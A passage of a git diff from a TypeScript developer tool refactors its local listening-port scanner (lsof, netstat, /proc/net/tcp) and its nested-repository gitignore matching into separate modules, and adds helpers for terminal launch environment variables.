-      const parsed = parseAddressWithPort(value)
-      if (parsed) {
-        ports.push({ pid: currentPid, processName: currentProcessName, ...parsed })
-      }
-    }
-  }
-
-  return dedupeRawPorts(ports)
-}
-
-export function parseNetstatListeningOutput(output: string): RawListeningPort[] {
-  const ports: RawListeningPort[] = []
-  for (const line of output.split('\n')) {
-    const fields = getProcessOutputFields(line, 6)
-    if (fields[0]?.toUpperCase() !== 'TCP') {
-      continue
-    }
-    const stateIndex = fields.findIndex((field) => field.toUpperCase() === 'LISTENING')
-    if (stateIndex < 2) {
-      continue
-    }
-    const parsed = parseAddressWithPort(fields[1])
-    const pid = Number.parseInt(fields[stateIndex + 1] ?? '', 10)
-    if (!parsed) {
-      continue
-    }
-    ports.push({ ...parsed, pid: Number.isFinite(pid) ? pid : undefined })
-  }
-  return dedupeRawPorts(ports)
-}
-
-export function parseProcNetTcp(content: string): { host: string; port: number; inode: number }[] {
-  const results: { host: string; port: number; inode: number }[] = []
-  const lines = content.split('\n')
-  for (let i = 1; i < lines.length; i++) {
-    const fields = getProcessOutputFields(lines[i], 10)
-    if (fields.length < 10 || fields[3] !== '0A') {
-      continue
-    }
-    const parsed = parseProcAddress(fields[1])
-    const inode = Number.parseInt(fields[9], 10)
-    if (!parsed || !Number.isFinite(inode) || inode === 0) {
-      continue
-    }
-    results.push({ ...parsed, inode })
-  }
-  return results
-}
-
-async function scanPlatformListeningPorts(
-  options: WorkspacePortScanOptions
-): Promise<PlatformListeningPortScan> {
-  const scan = await dispatchPlatformListeningPortScan(options)
-  if (scan.metadataAvailable) {
-    rememberListenerMetadata(scan.ports)
-    return scan
-  }
-  return { ...scan, ports: scan.ports.map(recallListenerMetadata) }
-}
-
-async function dispatchPlatformListeningPortScan(
-  options: WorkspacePortScanOptions
-): Promise<PlatformListeningPortScan> {
-  if (process.platform === 'linux') {
-    return scanLinuxProcPorts()
-  }
-  if (process.platform === 'darwin') {
-    return scanDarwinLsofPorts(options)
-  }
-  if (process.platform === 'win32') {
-    return scanWindowsNetstatPorts(options)
-  }
-  throw new Error(`Port scanning is not supported on ${process.platform}`)
-}
-
-async function scanDarwinLsofPorts(
-  options: WorkspacePortScanOptions
-): Promise<PlatformListeningPortScan> {
-  const { stdout, spawnMs } = await runPortScanCommand('lsof', [
-    '-nP',
-    '-iTCP',
-    '-sTCP:LISTEN',
-    '-F',
-    'pcn'
-  ])
-  const ports = parseLsofListeningOutput(stdout)
-  if (shouldSkipMetadataCommands(spawnMs, options)) {
-    return { ports, metadataAvailable: false }
-  }
-  const metadata = await loadDarwinProcessMetadata(
-    new Set(ports.flatMap((p) => (p.pid ? [p.pid] : [])))
-  )
-  return {
-    ports: ports.map((port) => ({ ...metadata.get(port.pid ?? -1), ...port })),
-    metadataAvailable: true
-  }
-}
-
-async function scanWindowsNetstatPorts(
-  options: WorkspacePortScanOptions
-): Promise<PlatformListeningPortScan> {
-  const { stdout, spawnMs } = await runPortScanCommand('netstat', ['-ano', '-p', 'tcp'])
-  const ports = parseNetstatListeningOutput(stdout)
-  if (shouldSkipMetadataCommands(spawnMs, options)) {
-    return { ports, metadataAvailable: false }
-  }
-  const metadata = await loadWindowsProcessMetadata(
-    new Set(ports.flatMap((p) => (p.pid ? [p.pid] : [])))
-  )
-  return {
-    ports: ports.map((port) => ({ ...metadata.get(port.pid ?? -1), ...port })),
-    metadataAvailable: true
-  }
-}
-
-async function scanLinuxProcPorts(): Promise<PlatformListeningPortScan> {
-  const [tcp4, tcp6] = await Promise.all([
-    readProcNet('/proc/net/tcp'),
-    readProcNet('/proc/net/tcp6')
-  ])
-  const sockets = [...tcp4, ...tcp6]
-  const inodeToPid = await mapLinuxInodesToPids(new Set(sockets.map((socket) => socket.inode)))
-  const metadata = new Map<number, ProcessMetadata>()
-  const rawPorts: RawListeningPort[] = []
-
-  for (const socket of sockets) {
-    const pid = inodeToPid.get(socket.inode)
-    if (pid != null && !metadata.has(pid)) {
-      metadata.set(pid, await loadLinuxProcessMetadata(pid))
-    }
-    rawPorts.push({
-      host: socket.host,
-      port: socket.port,
-      pid,
-      ...metadata.get(pid ?? -1)
-    })
-  }
-
-  return { ports: dedupeRawPorts(rawPorts), metadataAvailable: true }
-}
-
-async function readProcNet(
-  filePath: string
-): Promise<{ host: string; port: number; inode: number }[]> {
-  try {
-    return parseProcNetTcp(await readFile(filePath, 'utf-8'))
-  } catch {
-    return []
-  }
-}
-
-async function mapLinuxInodesToPids(inodes: Set<number>): Promise<Map<number, number>> {
-  const result = new Map<number, number>()
-  if (inodes.size === 0) {
-    return result
-  }
-  let pids: string[]
-  try {
-    pids = (await readdir('/proc')).filter((entry) => /^\d+$/.test(entry))
-  } catch {
-    return result
-  }
-
-  for (const pidText of pids) {
-    let fds: string[]
-    try {
-      fds = await readdir(`/proc/${pidText}/fd`)
-    } catch {
-      continue
-    }
-    const pid = Number.parseInt(pidText, 10)
-    for (const fd of fds) {
-      let link: string
-      try {
-        link = await readlink(`/proc/${pidText}/fd/${fd}`)
-      } catch {
-        continue
-      }
-      const match = link.match(/^socket:\[(\d+)\]$/)
-      if (!match) {
-        continue
-      }
-      const inode = Number.parseInt(match[1], 10)
-      if (inodes.has(inode)) {
-        result.set(inode, pid)
-      }
-    }
-  }
-  return result
-}
-
-async function loadLinuxProcessMetadata(pid: number): Promise<ProcessMetadata> {
-  const [comm, cmdline, cwd] = await Promise.all([
-    readTextIfAvailable(`/proc/${pid}/comm`),
-    readTextIfAvailable(`/proc/${pid}/cmdline`),
-    readlink(`/proc/${pid}/cwd`).catch(() => undefined)
-  ])
-  return {
-    processName: comm?.trim() || undefined,
-    commandLine: cmdline?.split('\u0000').join(' ').trim() || undefined,
-    cwd
-  }
-}
-
-async function loadDarwinProcessMetadata(pids: Set<number>): Promise<Map<number, ProcessMetadata>> {
-  const result = new Map<number, ProcessMetadata>()
-  const pidList = Array.from(pids).join(',')
-  if (!pidList) {
-    return result
-  }
-
-  // Why (#11161): sequential, not Promise.all — the probe worker dispatches one
-  // command at a time, so issuing both at once would only queue the second.
-  const cwdOutput = await runPortScanCommand('lsof', [
-    '-a',
-    '-p',
-    pidList,
-    '-d',
-    'cwd',
-    '-Fn'
-  ]).catch(() => null)
-  const commandOutput = await runPortScanCommand('ps', [
-    '-p',
-    pidList,
-    '-o',
-    'pid=',
-    '-o',
-    'command='
-  ]).catch(() => null)
-
-  let currentPid: number | null = null
-  for (const line of cwdOutput?.stdout.split('\n') ?? []) {
-    if (line.startsWith('p')) {
-      const pid = Number.parseInt(line.slice(1), 10)
-      currentPid = Number.isFinite(pid) ? pid : null
-    } else if (line.startsWith('n') && currentPid != null) {
-      result.set(currentPid, { ...result.get(currentPid), cwd: line.slice(1) || undefined })
-    }
-  }
-
-  for (const line of commandOutput?.stdout.split('\n') ?? []) {
-    const match = line.match(/^\s*(\d+)\s+(.+)$/)
-    if (!match) {
-      continue
-    }
-    const pid = Number.parseInt(match[1], 10)
-    result.set(pid, { ...result.get(pid), commandLine: match[2].trim() || undefined })
-  }
-
-  return result
-}
-
-async function loadWindowsProcessMetadata(
-  pids: Set<number>
-): Promise<Map<number, ProcessMetadata>> {
-  const result = new Map<number, ProcessMetadata>()
-  if (pids.size === 0) {
-    return result
-  }
-  try {
-    // Why the native snapshot: attributing ports used to fork a powershell.exe
-    // per scan just to turn PIDs into names. That is a ~700ms cold start, a
-    // conhost window, and one more thing a Group Policy can block -- for data
-    // the panel treats as optional anyway.
-    for (const row of await readWindowsProcessTable()) {
-      if (pids.has(row.pid)) {
-        result.set(row.pid, {
-          processName: row.name,
-          commandLine: row.command || undefined
-        })
-      }
-    }
-  } catch {
-    // Process metadata is optional; port rows still render without attribution.
-  }
-  return result
-}
-
-function isCommandTimeoutError(error: unknown): boolean {
-  return error instanceof PortScanCommandTimeoutError
-}
-
-async function readTextIfAvailable(filePath: string): Promise<string | undefined> {
-  try {
-    return await readFile(filePath, 'utf-8')
-  } catch {
-    return undefined
-  }
-}
-
-function enrichPort(
-  port: RawListeningPort,
-  worktrees: readonly NormalizedWorkspacePortProbe[],
-  urlWatcher: Pick<AdvertisedUrlWatcher, 'lookup'>
-): WorkspacePort {
-  const owner = attributePortToNormalizedWorkspaces(port, worktrees)
-  const base = {
-    id: `${port.host}:${port.port}:${port.pid ?? 'unknown'}`,
-    bindHost: port.host,
-    connectHost: connectHostForBindHost(port.host),
-    port: port.port,
-    pid: port.pid,
-    processName: port.processName,
-    protocol: inferProtocol(port.port)
-  }
-
-  if (owner) {
-    // Why: only enrich workspace-attributed ports. Container and external
-    // ports may have URLs printed in unrelated terminals — the worktree
-    // scoping is the primary false-positive filter.
-    const advertised = urlWatcher.lookup(owner.worktreeId, port.port, port.pid)
-    return {
-      ...base,
-      protocol: advertised?.protocol ?? base.protocol,
-      kind: 'workspace',
-      owner,
-      ...(advertised ? { advertisedUrl: advertised.origin } : {})
-    }
-  }
-  if (isContainerProcess(port)) {
-    return { ...base, kind: 'container' }
-  }
-  return { ...base, kind: 'external' }
-}
-
-function reconcileAdvertisedUrls(
-  ports: RawListeningPort[],
-  worktrees: readonly NormalizedWorkspacePortProbe[],
-  urlWatcher: Pick<AdvertisedUrlWatcher, 'reconcileScan'>
-): void {
-  const observationsByWorktree = new Map<string, { port: number; pid?: number }[]>()
-  for (const worktree of worktrees) {
-    observationsByWorktree.set(worktree.worktree.id, [])
-  }
-  for (const port of ports) {
-    const owner = attributePortToNormalizedWorkspaces(port, worktrees)
-    if (!owner) {
-      continue
-    }
-    observationsByWorktree.get(owner.worktreeId)?.push({ port: port.port, pid: port.pid })
-  }
-  for (const [worktreeId, observations] of observationsByWorktree) {
-    // Why: the scanner sees port disappearance and PID changes before a lazy
-    // lookup would otherwise pin a stale banner to a new listener.
-    urlWatcher.reconcileScan([worktreeId], observations)
-  }
-}
-
-function compareWorkspacePorts(a: WorkspacePort, b: WorkspacePort): number {
-  const aRank = a.kind === 'workspace' ? 0 : a.kind === 'container' ? 1 : 2
-  const bRank = b.kind === 'workspace' ? 0 : b.kind === 'container' ? 1 : 2
-  return aRank - bRank || a.port - b.port || a.connectHost.localeCompare(b.connectHost)
-}
-
-function inferProtocol(port: number): 'http' | 'https' | 'unknown' {
-  if (HTTPS_PORTS.has(port)) {
-    return 'https'
-  }
-  if (HTTP_PORTS.has(port)) {
-    return 'http'
-  }
-  return 'unknown'
-}
-
-export function isContainerProcess(
-  port: Pick<RawListeningPort, 'processName' | 'commandLine'>
-): boolean {
-  const haystack = `${port.processName ?? ''} ${port.commandLine ?? ''}`.toLowerCase()
-  return /\b(com\.[\w.-]+\.backend|com\.container\w*|container\w*)\b/.test(haystack)
-}
-
-function toOwner(
-  worktree: WorkspacePortProbe,
-  confidence: WorkspacePortOwner['confidence']
-): WorkspacePortOwner {
-  return {
-    worktreeId: worktree.id,
-    repoId: worktree.repoId,
-    displayName: worktree.displayName,
-    path: worktree.path,
-    confidence
-  }
-}
-
-function pickDeepestMatching<T extends { normalizedPath: string }>(
-  candidates: readonly T[],
-  predicate: (candidate: T) => boolean
-): T | undefined {
-  let best: T | undefined
-  for (const candidate of candidates) {
-    if (!predicate(candidate)) {
-      continue
-    }
-    if (!best || candidate.normalizedPath.length > best.normalizedPath.length) {
-      best = candidate
-    }
-  }
-  return best
-}
-
-function isSameOrDescendant(candidate: string, parent: string): boolean {
-  return candidate === parent || candidate.startsWith(`${parent}/`)
-}
-
-function includesPathBoundary(commandLine: string, normalizedPath: string): boolean {
-  let index = commandLine.indexOf(normalizedPath)
-  while (index !== -1) {
-    const before = index === 0 ? '' : commandLine[index - 1]
-    const after = commandLine[index + normalizedPath.length] ?? ''
-    const startsOnBoundary = before === '' || /\s|["'=]/.test(before)
-    const endsOnBoundary = after === '' || /[\s"'/:]/.test(after)
-    if (startsOnBoundary && endsOnBoundary) {
-      return true
-    }
-    index = commandLine.indexOf(normalizedPath, index + normalizedPath.length)
-  }
-  return false
-}
-
-function normalizeComparablePath(input: string): string {
-  if (input.startsWith('/')) {
-    // Why: command-line evidence for SSH/WSL/POSIX workspaces can be evaluated
-    // on a Windows host; path.resolve would reinterpret "/repo" as "G:/repo".
-    return normalizeComparableText(path.posix.resolve(input))
-  }
-  return normalizeComparableText(path.resolve(input))
-}
-
-function normalizeComparableText(input: string): string {
-  const normalized = input.replace(/\\/g, '/').replace(/\/+/g, '/')
-  return process.platform === 'win32' ? normalized.toLowerCase() : normalized
-}
-
-function connectHostForBindHost(host: string): string {
-  if (host === '*' || host === '0.0.0.0' || host === '::') {
-    return 'localhost'
-  }
-  return host
-}
-
-function dedupeRawPorts(ports: RawListeningPort[]): RawListeningPort[] {
-  const seen = new Set<string>()
-  const result: RawListeningPort[] = []
-  for (const port of ports) {
-    const key = `${connectHostForBindHost(port.host)}:${port.port}:${port.pid ?? 'unknown'}`
-    if (seen.has(key)) {
-      continue
-    }
-    seen.add(key)
-    result.push(port)
-  }
-  return result
-}
-
-function parseAddressWithPort(value: string): { host: string; port: number } | null {
-  const trimmed = value.trim().replace(/\s+\(LISTEN\)$/i, '')
-  const bracketed = trimmed.match(/^\[([^\]]+)\]:(\d+)$/)
-  if (bracketed) {
-    return { host: bracketed[1], port: Number.parseInt(bracketed[2], 10) }
-  }
-  const match = trimmed.match(/^(.+):(\d+)$/)
-  if (!match) {
-    return null
-  }
-  const port = Number.parseInt(match[2], 10)
-  if (!Number.isFinite(port) || port <= 0 || port > 65535) {
-    return null
-  }
-  return { host: match[1], port }
-}
-
-function parseProcAddress(hexAddress: string): { host: string; port: number } | null {
-  const [addrHex, portHex] = hexAddress.split(':')
-  const port = Number.parseInt(portHex, 16)
-  if (!Number.isFinite(port) || port === 0) {
-    return null
-  }
-  if (addrHex.length === 8) {
-    const bytes = [6, 4, 2, 0].map((index) => Number.parseInt(addrHex.slice(index, index + 2), 16))
-    return { host: bytes.join('.'), port }
-  }
-  if (addrHex.length === 32) {
-    if (addrHex === '00000000000000000000000000000000') {
-      return { host: '::', port }
-    }
-    if (addrHex === '00000000000000000000000001000000') {
-      return { host: '::1', port }
-    }
-    return { host: formatIPv6Address(addrHex), port }
-  }
-  return null
-}
-
-function formatIPv6Address(hex: string): string {
-  const groups: string[] = []
-  for (let i = 0; i < 32; i += 8) {
-    const chunk = hex.slice(i, i + 8)
-    const reversed = chunk.slice(6, 8) + chunk.slice(4, 6) + chunk.slice(2, 4) + chunk.slice(0, 2)
-    groups.push(reversed.slice(0, 4), reversed.slice(4, 8))
-  }
-  return groups.map((group) => group.replace(/^0+/, '') || '0').join(':')
-}
diff --git a/src/main/ports/workspace-port-ownership.ts b/src/main/ports/workspace-port-ownership.ts
index 31c7d193c62..754172d3b42 100644
--- a/src/main/ports/workspace-port-ownership.ts
+++ b/src/main/ports/workspace-port-ownership.ts
@@ -8,7 +8,8 @@ import type {
   WorkspacePortProbe,
   WorkspacePortScanResult
 } from '../../shared/workspace-ports'
-import { scanWorkspacePorts, type WorkspacePortScanOptions } from './local-workspace-port-scanner'
+import { scanWorkspacePorts } from './local-workspace-port-scanner'
+import type { WorkspacePortScanOptions } from './local-workspace-port-scan-state'
 
 export type WorkspacePortProbeInput = WorkspacePortProbe & {
   connectionId?: string | null
diff --git a/src/main/project-groups/nested-repo-discovery.ts b/src/main/project-groups/nested-repo-discovery.ts
index d2df48e7970..84fddfd1167 100644
--- a/src/main/project-groups/nested-repo-discovery.ts
+++ b/src/main/project-groups/nested-repo-discovery.ts
@@ -1,182 +1,15 @@
-/* eslint-disable max-lines -- Why: scanner traversal, ignore matching, and filesystem
-abstraction stay together so local, SSH, and runtime scans cannot drift. */
 import { readFile, readdir, stat } from 'node:fs/promises'
 import { basename, join } from 'node:path'
-import type {
-  NestedRepoCandidate,
-  NestedRepoScanOptions,
-  NestedRepoScanResult
-} from '../../shared/project-group-types'
+import type { NestedRepoCandidate, NestedRepoScanResult } from '../../shared/project-group-types'
 import { isGitRepo } from '../git/repo'
-
-type NestedRepoDirectoryEntry = {
-  name: string
-  isDirectory: boolean
-  isSymlink?: boolean
-}
-
-type NestedRepoScanFilesystem = {
-  readDirectory: (dirPath: string) => Promise<NestedRepoDirectoryEntry[]>
-  readTextFile?: (filePath: string) => Promise<string>
-  joinPath: (parentPath: string, childName: string) => string
-  basename: (path: string) => string
-  hasGitMarker: (path: string) => Promise<boolean> | boolean
-  isSelectedPathGitRepo: (path: string) => Promise<boolean> | boolean
-}
-
-type IgnoreRule = {
-  pattern: string
-  negate: boolean
-  basenameOnly: boolean
-  baseSegments: string[]
-}
-
-type TraversalFolder = {
-  path: string
-  depth: number
-  segments: string[]
-  ignoreRules: IgnoreRule[]
-}
-
-type NormalizedNestedRepoScanOptions = {
-  maxDepth: number
-  maxRepos: number
-  timeoutMs: number | null
-}
-
-const DEFAULT_MAX_DEPTH = 3
-const DEFAULT_MAX_REPOS = 100
-
-const SKIPPED_DIRS = new Set([
-  'node_modules',
-  '.next',
-  'dist',
-  'build',
-  '.cache',
-  'vendor',
-  '__pycache__',
-  '.turbo',
-  '.parcel-cache'
-])
-
-const VCS_METADATA_DIRS = new Set(['.git', '.svn', '.hg', '.jj', '.sl', '.repo', 'CVS'])
-
-function normalizeScanOptions(options: unknown): NormalizedNestedRepoScanOptions {
-  const raw = options && typeof options === 'object' ? (options as NestedRepoScanOptions) : {}
-  return {
-    maxDepth:
-      typeof raw.maxDepth === 'number' && Number.isFinite(raw.maxDepth)
-        ? Math.max(1, Math.min(8, Math.floor(raw.maxDepth)))
-        : DEFAULT_MAX_DEPTH,
-    maxRepos:
-      typeof raw.maxRepos === 'number' && Number.isFinite(raw.maxRepos)
-        ? Math.max(1, Math.min(500, Math.floor(raw.maxRepos)))
-        : DEFAULT_MAX_REPOS,
-    timeoutMs:
-      raw.timeoutMs === null
-        ? null
-        : typeof raw.timeoutMs === 'number' && Number.isFinite(raw.timeoutMs)
-          ? Math.max(500, Math.min(30_000, Math.floor(raw.timeoutMs)))
-          : null
-  }
-}
-
-function shouldSkipDirectory(name: string, depth: number): boolean {
-  if (VCS_METADATA_DIRS.has(name)) {
-    return true
-  }
-  if (SKIPPED_DIRS.has(name)) {
-    return true
-  }
-  return depth > 0 && name.startsWith('.')
-}
-
-function globSegmentMatches(pattern: string, value: string): boolean {
-  if (!pattern.includes('*') && !pattern.includes('?')) {
-    return pattern === value
-  }
-  const escaped = pattern.replace(/[.+^${}()|[\]\\]/g, '\\$&')
-  const regex = new RegExp(`^${escaped.replace(/\*/g, '[^/]*').replace(/\?/g, '[^/]')}$`)
-  return regex.test(value)
-}
-
-function pathSegmentsMatch(patternSegments: string[], candidateSegments: string[]): boolean {
-  const matchFrom = (patternIndex: number, candidateIndex: number): boolean => {
-    if (patternIndex >= patternSegments.length) {
-      return candidateIndex >= candidateSegments.length
-    }
-    const pattern = patternSegments[patternIndex]
-    if (pattern === '**') {
-      return (
-        matchFrom(patternIndex + 1, candidateIndex) ||
-        (candidateIndex < candidateSegments.length && matchFrom(patternIndex, candidateIndex + 1))
-      )
-    }
-    return (
-      candidateIndex < candidateSegments.length &&
-      globSegmentMatches(pattern, candidateSegments[candidateIndex] ?? '') &&
-      matchFrom(patternIndex + 1, candidateIndex + 1)
-    )
-  }
-  return matchFrom(0, 0)
-}
-
-function parseGitignoreRules(content: string, baseSegments: string[]): IgnoreRule[] {
-  return content
-    .split(/\r?\n/)
-    .map((rawLine) => rawLine.trim())
-    .filter((line) => line.length > 0 && !line.startsWith('#'))
-    .map((line) => {
-      const negate = line.startsWith('!')
-      const unprefixed = negate ? line.slice(1) : line
-      const anchored = unprefixed.startsWith('/')
-      const pattern = unprefixed.replace(/^\/+/, '').replace(/\/+$/, '')
-      return {
-        pattern,
-        negate,
-        basenameOnly: !anchored && !pattern.includes('/'),
-        baseSegments
-      }
-    })
-    .filter((rule) => rule.pattern.length > 0)
-}
-
-function isIgnoredByRules(name: string, segments: string[], rules: IgnoreRule[]): boolean {
-  let ignored = false
-  for (const rule of rules) {
-    if (segments.length <= rule.baseSegments.length) {
-      continue
-    }
-    const relativeSegments = segments.slice(rule.baseSegments.length)
-    const patternSegments = rule.pattern.split('/')
-    const matches = rule.basenameOnly
-      ? relativeSegments.some((segment) => globSegmentMatches(rule.pattern, segment))
-      : pathSegmentsMatch(patternSegments, relativeSegments)
-    if (matches) {
-      ignored = !rule.negate
-    }
-  }
-  return ignored || shouldSkipDirectory(name, segments.length - 1)
-}
-
-async function readGitignoreRules(args: {
-  folderPath: string
-  entries: NestedRepoDirectoryEntry[]
-  filesystem: NestedRepoScanFilesystem
-  baseSegments: string[]
-}): Promise<IgnoreRule[]> {
-  if (!args.filesystem.readTextFile || !args.entries.some((entry) => entry.name === '.gitignore')) {
-    return []
-  }
-  try {
-    const content = await args.filesystem.readTextFile(
-      args.filesystem.joinPath(args.folderPath, '.gitignore')
-    )
-    return parseGitignoreRules(content, args.baseSegments)
-  } catch {
-    return []
-  }
-}
+import {
+  isIgnoredNestedRepoDirectory,
+  normalizeNestedRepoScanOptions,
+  readNestedRepoGitignoreRules,
+  type NestedRepoDirectoryEntry,
+  type NestedRepoScanFilesystem,
+  type TraversalFolder
+} from './nested-repo-scan-rules'
 
 async function hasGitMarker(dirPath: string): Promise<boolean> {
   try {
@@ -214,7 +47,7 @@ export async function scanNestedRepos(args: {
   onProgress?: (scan: NestedRepoScanResult) => void
 }): Promise<NestedRepoScanResult> {
   const startedAt = Date.now()
-  const options = normalizeScanOptions(args.options)
+  const options = normalizeNestedRepoScanOptions(args.options)
   const repos: NestedRepoCandidate[] = []
   let truncated = false
   let timedOut = false
@@ -290,7 +123,7 @@ export async function scanNestedRepos(args: {
     }
     const currentIgnoreRules = [
       ...currentFolder.ignoreRules,
-      ...(await readGitignoreRules({
+      ...(await readNestedRepoGitignoreRules({
         folderPath: currentFolder.path,
         entries,
         filesystem,
@@ -315,7 +148,7 @@ export async function scanNestedRepos(args: {
         break
       }
       const childSegments = [...currentFolder.segments, name]
-      if (isIgnoredByRules(name, childSegments, currentIgnoreRules)) {
+      if (isIgnoredNestedRepoDirectory(name, childSegments, currentIgnoreRules)) {
         continue
       }
       const childPath = filesystem.joinPath(currentFolder.path, name)
diff --git a/src/main/project-groups/nested-repo-scan-rules.ts b/src/main/project-groups/nested-repo-scan-rules.ts
new file mode 100644
index 00000000000..32d6881e15b
--- /dev/null
+++ b/src/main/project-groups/nested-repo-scan-rules.ts
@@ -0,0 +1,174 @@
+import type { NestedRepoScanOptions } from '../../shared/project-group-types'
+
+export type NestedRepoDirectoryEntry = {
+  name: string
+  isDirectory: boolean
+  isSymlink?: boolean
+}
+
+export type NestedRepoScanFilesystem = {
+  readDirectory: (dirPath: string) => Promise<NestedRepoDirectoryEntry[]>
+  readTextFile?: (filePath: string) => Promise<string>
+  joinPath: (parentPath: string, childName: string) => string
+  basename: (path: string) => string
+  hasGitMarker: (path: string) => Promise<boolean> | boolean
+  isSelectedPathGitRepo: (path: string) => Promise<boolean> | boolean
+}
+
+type IgnoreRule = {
+  pattern: string
+  negate: boolean
+  basenameOnly: boolean
+  baseSegments: string[]
+}
+
+export type TraversalFolder = {
+  path: string
+  depth: number
+  segments: string[]
+  ignoreRules: IgnoreRule[]
+}
+
+export type NormalizedNestedRepoScanOptions = {
+  maxDepth: number
+  maxRepos: number
+  timeoutMs: number | null
+}
+
+const DEFAULT_MAX_DEPTH = 3
+const DEFAULT_MAX_REPOS = 100
+
+const SKIPPED_DIRS = new Set([
+  'node_modules',
+  '.next',
+  'dist',
+  'build',
+  '.cache',
+  'vendor',
+  '__pycache__',
+  '.turbo',
+  '.parcel-cache'
+])
+
+const VCS_METADATA_DIRS = new Set(['.git', '.svn', '.hg', '.jj', '.sl', '.repo', 'CVS'])
+
+export function normalizeNestedRepoScanOptions(options: unknown): NormalizedNestedRepoScanOptions {
+  const raw = options && typeof options === 'object' ? (options as NestedRepoScanOptions) : {}
+  return {
+    maxDepth:
+      typeof raw.maxDepth === 'number' && Number.isFinite(raw.maxDepth)
+        ? Math.max(1, Math.min(8, Math.floor(raw.maxDepth)))
+        : DEFAULT_MAX_DEPTH,
+    maxRepos:
+      typeof raw.maxRepos === 'number' && Number.isFinite(raw.maxRepos)
+        ? Math.max(1, Math.min(500, Math.floor(raw.maxRepos)))
+        : DEFAULT_MAX_REPOS,
+    timeoutMs:
+      raw.timeoutMs === null
+        ? null
+        : typeof raw.timeoutMs === 'number' && Number.isFinite(raw.timeoutMs)
+          ? Math.max(500, Math.min(30_000, Math.floor(raw.timeoutMs)))
+          : null
+  }
+}
+
+function shouldSkipDirectory(name: string, depth: number): boolean {
+  if (VCS_METADATA_DIRS.has(name)) {
+    return true
+  }
+  if (SKIPPED_DIRS.has(name)) {
+    return true
+  }
+  return depth > 0 && name.startsWith('.')
+}
+
+function globSegmentMatches(pattern: string, value: string): boolean {
+  if (!pattern.includes('*') && !pattern.includes('?')) {
+    return pattern === value
+  }
+  const escaped = pattern.replace(/[.+^${}()|[\]\\]/g, '\\$&')
+  const regex = new RegExp(`^${escaped.replace(/\*/g, '[^/]*').replace(/\?/g, '[^/]')}$`)
+  return regex.test(value)
+}
+
+function pathSegmentsMatch(patternSegments: string[], candidateSegments: string[]): boolean {
+  const matchFrom = (patternIndex: number, candidateIndex: number): boolean => {
+    if (patternIndex >= patternSegments.length) {
+      return candidateIndex >= candidateSegments.length
+    }
+    const pattern = patternSegments[patternIndex]
+    if (pattern === '**') {
+      return (
+        matchFrom(patternIndex + 1, candidateIndex) ||
+        (candidateIndex < candidateSegments.length && matchFrom(patternIndex, candidateIndex + 1))
+      )
+    }
+    return (
+      candidateIndex < candidateSegments.length &&
+      globSegmentMatches(pattern, candidateSegments[candidateIndex] ?? '') &&
+      matchFrom(patternIndex + 1, candidateIndex + 1)
+    )
+  }
+  return matchFrom(0, 0)
+}
+
+function parseGitignoreRules(content: string, baseSegments: string[]): IgnoreRule[] {
+  return content
+    .split(/\r?\n/)
+    .map((rawLine) => rawLine.trim())
+    .filter((line) => line.length > 0 && !line.startsWith('#'))
+    .map((line) => {
+      const negate = line.startsWith('!')
+      const unprefixed = negate ? line.slice(1) : line
+      const anchored = unprefixed.startsWith('/')
+      const pattern = unprefixed.replace(/^\/+/, '').replace(/\/+$/, '')
+      return {
+        pattern,
+        negate,
+        basenameOnly: !anchored && !pattern.includes('/'),
+        baseSegments
+      }
+    })
+    .filter((rule) => rule.pattern.length > 0)
+}
+
+export function isIgnoredNestedRepoDirectory(
+  name: string,
+  segments: string[],
+  rules: IgnoreRule[]
+): boolean {
+  let ignored = false
+  for (const rule of rules) {
+    if (segments.length <= rule.baseSegments.length) {
+      continue
+    }
+    const relativeSegments = segments.slice(rule.baseSegments.length)
+    const patternSegments = rule.pattern.split('/')
+    const matches = rule.basenameOnly
+      ? relativeSegments.some((segment) => globSegmentMatches(rule.pattern, segment))
+      : pathSegmentsMatch(patternSegments, relativeSegments)
+    if (matches) {
+      ignored = !rule.negate
+    }
+  }
+  return ignored || shouldSkipDirectory(name, segments.length - 1)
+}
+
+export async function readNestedRepoGitignoreRules(args: {
+  folderPath: string
+  entries: NestedRepoDirectoryEntry[]
+  filesystem: NestedRepoScanFilesystem
+  baseSegments: string[]
+}): Promise<IgnoreRule[]> {
+  if (!args.filesystem.readTextFile || !args.entries.some((entry) => entry.name === '.gitignore')) {
+    return []
+  }
+  try {
+    const content = await args.filesystem.readTextFile(
+      args.filesystem.joinPath(args.folderPath, '.gitignore')
+    )
+    return parseGitignoreRules(content, args.baseSegments)
+  } catch {
+    return []
+  }
+}
diff --git a/src/main/providers/local-pty-launch-helpers.ts b/src/main/providers/local-pty-launch-helpers.ts
new file mode 100644
index 00000000000..220669d7cb7
--- /dev/null
+++ b/src/main/providers/local-pty-launch-helpers.ts
@@ -0,0 +1,98 @@
+import { basename, delimiter, win32 as pathWin32 } from 'node:path'
+import { splitWorktreeIdForFilesystem } from '../../shared/worktree/id'
+import { parseWslPath } from '../wsl'
+import { resolvePathEnvKey } from '../pty/windows-environment-path'
+import { expandWindowsEnvironmentVariables } from '../../shared/windows-environment-expansion'
+import { resolveSafePtyDefaultCwd } from './pty-default-cwd'
+
+const PANE_IDENTITY_ENV_KEYS = [
+  'ORCA_PANE_KEY',
+  'ORCA_TAB_ID',
+  'ORCA_WORKTREE_ID',
+  'ORCA_AGENT_LAUNCH_TOKEN'
+] as const
+
+export function getDefaultCwd(): string {
+  return resolveSafePtyDefaultCwd()
+}
+
+export function removeUnspecifiedPaneIdentityEnv(
+  env: Record<string, string>,
+  explicitEnv: Record<string, string> | undefined
+): void {
+  for (const key of PANE_IDENTITY_ENV_KEYS) {
+    if (!explicitEnv || !Object.hasOwn(explicitEnv, key)) {
+      delete env[key]
+    }
+  }
+}
+
+export function promoteAgentTeamsShimPath(
+  env: Record<string, string>,
+  requestedPath: string | undefined
+): void {
+  if (!env.ORCA_AGENT_TEAMS_TEAM_ID || !requestedPath) {
+    return
+  }
+  const normalizedRequestedPath =
+    process.platform === 'win32'
+      ? expandWindowsEnvironmentVariables(requestedPath, env)
+      : requestedPath
+  const pathDelimiter = process.platform === 'win32' ? ';' : delimiter
+  const shimDir = normalizedRequestedPath.split(pathDelimiter)[0]
+  if (!shimDir) {
+    return
+  }
+  const pathKey = resolvePathEnvKey(env, process.platform)
+  const currentParts = env[pathKey]?.split(pathDelimiter).filter(Boolean) ?? []
+  env[pathKey] = [shimDir, ...currentParts.filter((part) => part !== shimDir)].join(pathDelimiter)
+}
+
+export function getWslContextFromWorktreeId(
+  worktreeId: string | undefined
+): { distro: string; treatPosixCwdAsWsl: true } | undefined {
+  // Why: strip any synthetic `::workspace:<uuid>` suffix so WSL detection parses the real path, not a nonexistent identifier.
+  const worktreePath = worktreeId
